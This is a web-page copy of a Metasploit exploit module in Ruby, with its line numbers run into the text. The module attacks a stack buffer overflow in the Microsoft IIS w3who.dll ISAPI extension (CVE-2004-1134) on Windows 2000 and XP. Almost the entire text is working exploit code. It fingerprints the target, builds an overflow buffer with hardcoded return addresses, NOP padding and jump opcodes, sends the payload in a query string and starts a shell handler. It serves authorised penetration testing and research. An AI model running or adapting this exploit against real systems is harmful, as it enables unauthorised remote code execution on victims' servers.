Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/isapi/w3who_query.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78# XXX: Needs custom body check. HttpFingerprint = { :pattern => [ // ] }9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(update_info(info,13'Name' => 'Microsoft IIS ISAPI w3who.dll Query String Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the w3who.dll ISAPI16application. This vulnerability was discovered Nicolas17Gregoire and this code has been successfully tested against18Windows 2000 and Windows XP (SP2). When exploiting Windows19XP, the payload must call RevertToSelf before it will be20able to spawn a command shell.2122},23'Author' => [ 'hdm' ],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2004-1134' ],28[ 'OSVDB', '12258' ],29[ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html' ],30[ 'BID', '11820' ]31],32'Privileged' => false,33'DefaultOptions' =>34{35'EXITFUNC' => 'process',36},37'Payload' =>38{39'Space' => 632,40'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",41'MinNops' => 128,42'StackAdjustment' => -3500,4344},45'Platform' => 'win',46'Targets' =>47[48['Automatic Detection', { }],49['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [ 48, 0x01169f4a ] }], # pop, pop, ret magic50['Windows 2000 RESKIT DLL [Windows XP]', { 'Rets' => [ 748, 0x10019f4a ] }], # pop, pop, ret magic51],52'DefaultTarget' => 0,53'DisclosureDate' => '2004-12-06'))5455register_options(56[57OptString.new('URL', [ true, "The path to w3who.dll", "/scripts/w3who.dll" ]),58])59end6061def auto_target6263res = send_request_raw(64{65'uri' => normalize_uri(datastore['URL'])66}, -1)67http_fingerprint({ :response => res }) # XXX: Needs custom body match6869# Was a vulnerable system detected?70t = nil71if (res and res.body =~ /Access Token/)72case res.headers['Server']73when /5\.1/74t = targets[2]75else76t = targets[1]77end78end79t80end8182def check83if auto_target84return Exploit::CheckCode::Appears85end86Exploit::CheckCode::Safe87end8889def exploit9091if (target.name =~ /Automatic/)92mytarget = auto_target93else94mytarget = target95end9697if not mytarget98fail_with(Failure::NoTarget, "No valid target found")99end100101buf = rand_text_english(8192, payload_badchars)102buf[mytarget['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04"103buf[mytarget['Rets'][0] - 0, 4] = [ mytarget['Rets'][1] ].pack('V')104buf[mytarget['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V')105buf[mytarget['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded106107print_status("Sending request...")108r = send_request_raw({109'uri' => normalize_uri(datastore['URL']),110'query' => buf111}, 5)112113handler114end115end116117118